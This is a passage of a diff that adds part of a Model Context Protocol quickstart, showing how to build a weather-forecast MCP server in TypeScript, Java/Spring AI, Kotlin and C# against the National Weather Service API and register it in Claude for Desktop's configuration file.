+ ],
+ };
+ }
+
+ const formattedAlerts = features.map(formatAlert);
+ const alertsText = `Active alerts for ${stateCode}:\n\n${formattedAlerts.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: alertsText,
+ },
+ ],
+ };
+ },
+ );
+
+ server.registerTool(
+ "get_forecast",
+ {
+ description: "Get weather forecast for a location",
+ inputSchema: {
+ latitude: z
+ .number()
+ .min(-90)
+ .max(90)
+ .describe("Latitude of the location"),
+ longitude: z
+ .number()
+ .min(-180)
+ .max(180)
+ .describe("Longitude of the location"),
+ },
+ },
+ async ({ latitude, longitude }) => {
+ // Get grid point data
+ const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)},${longitude.toFixed(4)}`;
+ const pointsData = await makeNWSRequest(pointsUrl);
+
+ if (!pointsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`,
+ },
+ ],
+ };
+ }
+
+ const forecastUrl = pointsData.properties?.forecast;
+ if (!forecastUrl) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to get forecast URL from grid point data",
+ },
+ ],
+ };
+ }
+
+ // Get forecast data
+ const forecastData = await makeNWSRequest(forecastUrl);
+ if (!forecastData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve forecast data",
+ },
+ ],
+ };
+ }
+
+ const periods = forecastData.properties?.periods || [];
+ if (periods.length === 0) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "No forecast periods available",
+ },
+ ],
+ };
+ }
+
+ // Format forecast periods
+ const formattedForecast = periods.map((period: ForecastPeriod) =>
+ [
+ `${period.name || "Unknown"}:`,
+ `Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`,
+ `Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`,
+ `${period.shortForecast || "No forecast available"}`,
+ "---",
+ ].join("\n"),
+ );
+
+ const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: forecastText,
+ },
+ ],
+ };
+ },
+ );
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```typescript theme={null}
+ async function main() {
+ const transport = new StdioServerTransport();
+ await server.connect(transport);
+ console.error("Weather MCP Server running on stdio");
+ }
+
+ main().catch((error) => {
+ console.error("Fatal error in main():", error);
+ process.exit(1);
+ });
+ ```
+
+ Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-11-25/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\index.js"]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](https://java.sdk.modelcontextprotocol.io/) documentation.
+
+
+ Let's get started with building our weather server!
+ [You can find the complete code for what we'll be building here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-stdio-server)
+
+ For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation.
+ For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](https://java.sdk.modelcontextprotocol.io/).
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `System.out.println()` or `System.out.print()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+ * Ensure any configured logging library will not write to stdout.
+
+ ### System requirements
+
+ * Java 17 or higher installed.
+ * [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher
+
+ ### Set up your environment
+
+ Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project.
+
+ You will need to add the following dependencies:
+
+
+ ```xml Maven theme={null}
+
+
+ org.springframework.ai
+ spring-ai-starter-mcp-server
+
+
+
+ org.springframework
+ spring-web
+
+
+ ```
+
+ ```groovy Gradle theme={null}
+ dependencies {
+ implementation platform("org.springframework.ai:spring-ai-starter-mcp-server")
+ implementation platform("org.springframework:spring-web")
+ }
+ ```
+
+
+ Then configure your application by setting the application properties:
+
+
+ ```bash application.properties theme={null}
+ spring.main.bannerMode=off
+ logging.pattern.console=
+ ```
+
+ ```yaml application.yml theme={null}
+ logging:
+ pattern:
+ console:
+ spring:
+ main:
+ banner-mode: off
+ ```
+
+
+ The [Server Configuration Properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties) documents all available properties.
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Weather Service
+
+ Let's implement a [WeatherService.java](https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java) that uses a REST client to query the data from the National Weather Service API:
+
+ ```java theme={null}
+ @Service
+ public class WeatherService {
+
+ private final RestClient restClient;
+
+ public WeatherService() {
+ this.restClient = RestClient.builder()
+ .baseUrl("https://api.weather.gov")
+ .defaultHeader("Accept", "application/geo+json")
+ .defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)")
+ .build();
+ }
+
+ @Tool(description = "Get weather forecast for a specific latitude/longitude")
+ public String getWeatherForecastByLocation(
+ double latitude, // Latitude coordinate
+ double longitude // Longitude coordinate
+ ) {
+ // Returns detailed forecast including:
+ // - Temperature and unit
+ // - Wind speed and direction
+ // - Detailed forecast description
+ }
+
+ @Tool(description = "Get weather alerts for a US state")
+ public String getAlerts(
+ @ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state
+ ) {
+ // Returns active alerts including:
+ // - Event type
+ // - Affected area
+ // - Severity
+ // - Description
+ // - Safety instructions
+ }
+
+ // ......
+ }
+ ```
+
+ The `@Service` annotation will auto-register the service in your application context.
+ The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools.
+
+ The auto-configuration will automatically register these tools with the MCP server.
+
+ ### Create your Boot Application
+
+ ```java theme={null}
+ @SpringBootApplication
+ public class McpServerApplication {
+
+ public static void main(String[] args) {
+ SpringApplication.run(McpServerApplication.class, args);
+ }
+
+ @Bean
+ public ToolCallbackProvider weatherTools(WeatherService weatherService) {
+ return MethodToolCallbackProvider.builder().toolObjects(weatherService).build();
+ }
+ }
+ ```
+
+ Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server.
+
+ ### Running the server
+
+ Finally, let's build the server:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux.
+
+
+ First, make sure you have Claude for Desktop installed.
+ [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.stdio=true",
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.transport=STDIO",
+ "-jar",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your server.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "my-weather-server"
+ 2. To launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+ ## Testing your server with Java client
+
+ ### Create an MCP Client manually
+
+ Use the `McpClient` to connect to the server:
+
+ ```java theme={null}
+ var stdioParams = ServerParameters.builder("java")
+ .args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar")
+ .build();
+
+ var stdioTransport = new StdioClientTransport(stdioParams);
+
+ var mcpClient = McpClient.sync(stdioTransport).build();
+
+ mcpClient.initialize();
+
+ ListToolsResult toolsList = mcpClient.listTools();
+
+ CallToolResult weather = mcpClient.callTool(
+ new CallToolRequest("getWeatherForecastByLocation",
+ Map.of("latitude", "47.6062", "longitude", "-122.3321")));
+
+ CallToolResult alert = mcpClient.callTool(
+ new CallToolRequest("getAlerts", Map.of("state", "NY")));
+
+ mcpClient.closeGracefully();
+ ```
+
+ ### Use MCP Client Boot Starter
+
+ Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+ ```
+
+ and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`.
+ You can reuse the existing Anthropic Desktop configuration:
+
+ ```properties theme={null}
+ spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json
+ ```
+
+ When you start your client application, the auto-configuration will automatically create MCP clients from the claude\_desktop\_config.json.
+
+ For more information, see the [MCP Client Boot Starters](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-client-docs.html) reference documentation.
+
+ ## More Java MCP Server examples
+
+ The [starter-webflux-server](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-webflux-server) demonstrates how to create an MCP server using SSE transport.
+ It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot's auto-configuration capabilities.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/weather-stdio-server)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Kotlin
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * JDK 11 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ kotlin("plugin.serialization") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion")
+ implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Setting up the instance
+
+ Add a server initialization function:
+
+ ```kotlin theme={null}
+ fun runMcpServer() {
+ val server = Server(
+ Implementation(
+ name = "weather",
+ version = "1.0.0",
+ ),
+ ServerOptions(
+ capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)),
+ ),
+ )
+
+ // register tools on server here
+
+ val transport = StdioServerTransport(
+ System.`in`.asInput(),
+ System.out.asSink().buffered(),
+ )
+
+ runBlocking {
+ val session = server.createSession(transport)
+ val done = Job()
+ session.onClose {
+ done.complete()
+ }
+ done.join()
+ }
+ }
+ ```
+
+ ### Weather API helper functions
+
+ Next, let's add functions and data classes for querying and converting responses from the National Weather Service API:
+
+ ```kotlin theme={null}
+ val httpClient = HttpClient(CIO) {
+ defaultRequest {
+ url("https://api.weather.gov")
+ headers {
+ append("Accept", "application/geo+json")
+ append("User-Agent", "WeatherApiClient/1.0")
+ }
+ contentType(ContentType.Application.Json)
+ }
+ install(ContentNegotiation) {
+ json(Json { ignoreUnknownKeys = true })
+ }
+ }
+
+ // Extension function to fetch weather alerts for a given state
+ suspend fun HttpClient.getAlerts(state: String): List {
+ val alerts = this.get("/alerts/active/area/$state").body()
+ return alerts.features.map { feature ->
+ """
+ Event: ${feature.properties.event}
+ Area: ${feature.properties.areaDesc}
+ Severity: ${feature.properties.severity}
+ Status: ${feature.properties.status}
+ Headline: ${feature.properties.headline}
+ """.trimIndent()
+ }
+ }
+
+ // Extension function to fetch forecast information for given latitude and longitude
+ suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): List {
+ val points = this.get("/points/$latitude,$longitude").body()
+ val forecastUrl = points.properties.forecast ?: error("No forecast URL available")
+ val forecast = this.get(forecastUrl).body()
+ return forecast.properties.periods.map { period ->
+ """
+ ${period.name}:
+ Temperature: ${period.temperature}°${period.temperatureUnit}
+ Wind: ${period.windSpeed} ${period.windDirection}
+ ${period.shortForecast}
+ """.trimIndent()
+ }
+ }
+
+ @Serializable
+ data class PointsResponse(val properties: PointsProperties)
+
+ @Serializable
+ data class PointsProperties(val forecast: String? = null)
+
+ @Serializable
+ data class ForecastResponse(val properties: ForecastProperties)
+
+ @Serializable
+ data class ForecastProperties(val periods: List = emptyList())
+
+ @Serializable
+ data class ForecastPeriod(
+ val name: String? = null,
+ val temperature: Int? = null,
+ val temperatureUnit: String? = null,
+ val windSpeed: String? = null,
+ val windDirection: String? = null,
+ val shortForecast: String? = null,
+ )
+
+ @Serializable
+ data class AlertsResponse(val features: List = emptyList())
+
+ @Serializable
+ data class AlertFeature(val properties: AlertProperties)
+
+ @Serializable
+ data class AlertProperties(
+ val event: String? = null,
+ val areaDesc: String? = null,
+ val severity: String? = null,
+ val status: String? = null,
+ val headline: String? = null,
+ )
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```kotlin theme={null}
+ // Register weather tools
+
+ server.addTool(
+ name = "get_alerts",
+ description = "Get weather alerts for a US state. Input is a two-letter US state code (e.g. CA, NY)",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("state") {
+ put("type", "string")
+ put("description", "Two-letter US state code (e.g. CA, NY)")
+ }
+ },
+ required = listOf("state"),
+ ),
+ ) { request ->
+ val state = request.arguments?.get("state")?.jsonPrimitive?.content
+ ?: return@addTool CallToolResult(
+ content = listOf(TextContent("The 'state' parameter is required.")),
+ )
+
+ val alerts = httpClient.getAlerts(state)
+ CallToolResult(content = alerts.map { TextContent(it) })
+ }
+
+ server.addTool(
+ name = "get_forecast",
+ description = "Get weather forecast for a location. Note: only US locations are supported by the NWS API.",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("latitude") {
+ put("type", "number")
+ put("description", "Latitude of the location")
+ }
+ putJsonObject("longitude") {
+ put("type", "number")
+ put("description", "Longitude of the location")
+ }
+ },
+ required = listOf("latitude", "longitude"),
+ ),
+ ) { request ->
+ val latitude = request.arguments?.get("latitude")?.jsonPrimitive?.doubleOrNull
+ val longitude = request.arguments?.get("longitude")?.jsonPrimitive?.doubleOrNull
+ if (latitude == null || longitude == null) {
+ return@addTool CallToolResult(
+ content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")),
+ )
+ }
+
+ val forecast = httpClient.getForecast(latitude, longitude)
+ CallToolResult(content = forecast.map { TextContent(it) })
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```kotlin theme={null}
+ fun main() = runMcpServer()
+ ```
+
+ You can run the server directly during development:
+
+ ```bash theme={null}
+ ./gradlew run
+ ```
+
+ For production use, build the shadow JAR:
+
+ ```bash theme={null}
+ ./gradlew build
+ java -jar build/libs/weather-0.1.0-all.jar
+ ```
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-11-25/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\libs\\weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * C#
+ * LLMs like Claude
+ * .NET 8 or higher
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `Console.WriteLine()` or `Console.Write()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `dotnet` if you haven't already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/). Verify your `dotnet` installation:
+
+ ```bash theme={null}
+ dotnet --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+
+ After running `dotnet new console`, you will be presented with a new C# project.
+ You can open the project in your favorite IDE, such as [Visual Studio](https://visualstudio.microsoft.com/) or [Rider](https://www.jetbrains.com/rider/).
+ Alternatively, you can create a C# application using the [Visual Studio project wizard](https://learn.microsoft.com/en-us/visualstudio/get-started/csharp/tutorial-console?view=vs-2022).
+ After creating the project, add NuGet package for the Model Context Protocol SDK and hosting:
+
+ ```bash theme={null}
+ # Add the Model Context Protocol SDK NuGet package
+ dotnet add package ModelContextProtocol --prerelease
+ # Add the .NET Hosting NuGet package
+ dotnet add package Microsoft.Extensions.Hosting
+ ```
+
+ Now let’s dive into building your server.
+
+ ## Building your server
+
+ Open the `Program.cs` file in your project and replace its contents with the following code:
+
+ ```csharp theme={null}
+ using Microsoft.Extensions.DependencyInjection;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol;
+ using System.Net.Http.Headers;
+
+ var builder = Host.CreateEmptyApplicationBuilder(settings: null);
+
+ builder.Services.AddMcpServer()
+ .WithStdioServerTransport()
+ .WithToolsFromAssembly();
+
+ builder.Services.AddSingleton(_ =>
+ {
+ var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") };
+ client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0"));
+ return client;
+ });
+
+ var app = builder.Build();
+
+ await app.RunAsync();
+ ```
+
+
+ When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport.
+
+
+ This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport.
+
+ ### Weather API helper functions
+
+ Create an extension class for `HttpClient` which helps simplify JSON request handling:
+
+ ```csharp theme={null}
+ using System.Text.Json;
+
+ internal static class HttpClientExt
+ {
+ public static async Task ReadJsonDocumentAsync(this HttpClient client, string requestUri)
+ {
+ using var response = await client.GetAsync(requestUri);
+ response.EnsureSuccessStatusCode();
+ return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync());
+ }
+ }
+ ```
+
+ Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API:
+
+ ```csharp theme={null}
+ using ModelContextProtocol.Server;
+ using System.ComponentModel;
+ using System.Globalization;
+ using System.Text.Json;
+
+ namespace QuickstartWeatherServer.Tools;
+
+ [McpServerToolType]
+ public static class WeatherTools
+ {
+ [McpServerTool, Description("Get weather alerts for a US state code.")]
+ public static async Task GetAlerts(
+ HttpClient client,
+ [Description("The US state code to get alerts for.")] string state)
+ {
+ using var jsonDocument = await client.ReadJsonDocumentAsync($"/alerts/active/area/{state}");
+ var jsonElement = jsonDocument.RootElement;
+ var alerts = jsonElement.GetProperty("features").EnumerateArray();
+
+ if (!alerts.Any())
+ {
+ return "No active alerts for this state.";
+ }
+
+ return string.Join("\n--\n", alerts.Select(alert =>
+ {
+ JsonElement properties = alert.GetProperty("properties");
+ return $"""
+ Event: {properties.GetProperty("event").GetString()}
+ Area: {properties.GetProperty("areaDesc").GetString()}
+ Severity: {properties.GetProperty("severity").GetString()}
+ Description: {properties.GetProperty("description").GetString()}
+ Instruction: {properties.GetProperty("instruction").GetString()}
+ """;
+ }));
+ }
+
+ [McpServerTool, Description("Get weather forecast for a location.")]
+ public static async Task GetForecast(
+ HttpClient client,
+ [Description("Latitude of the location.")] double latitude,
+ [Description("Longitude of the location.")] double longitude)
+ {
+ var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}");
+ using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl);
+ var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString()
+ ?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}");
+
+ using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl);
+ var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray();
+
+ return string.Join("\n---\n", periods.Select(period => $"""
+ {period.GetProperty("name").GetString()}
+ Temperature: {period.GetProperty("temperature").GetInt32()}°F
+ Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()}
+ Forecast: {period.GetProperty("detailedForecast").GetString()}
+ """));
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, run the server using the following command:
+
+ ```bash theme={null}
+ dotnet run
+ ```
+
+ This will start the server and listen for incoming requests on standard input/output.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-11-25/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": [
+ "run",
+ "--project",
+ "C:\\ABSOLUTE\\PATH\\TO\\PROJECT",
+ "--no-build"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT`
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Ruby
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `puts` or `print`, as they write to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
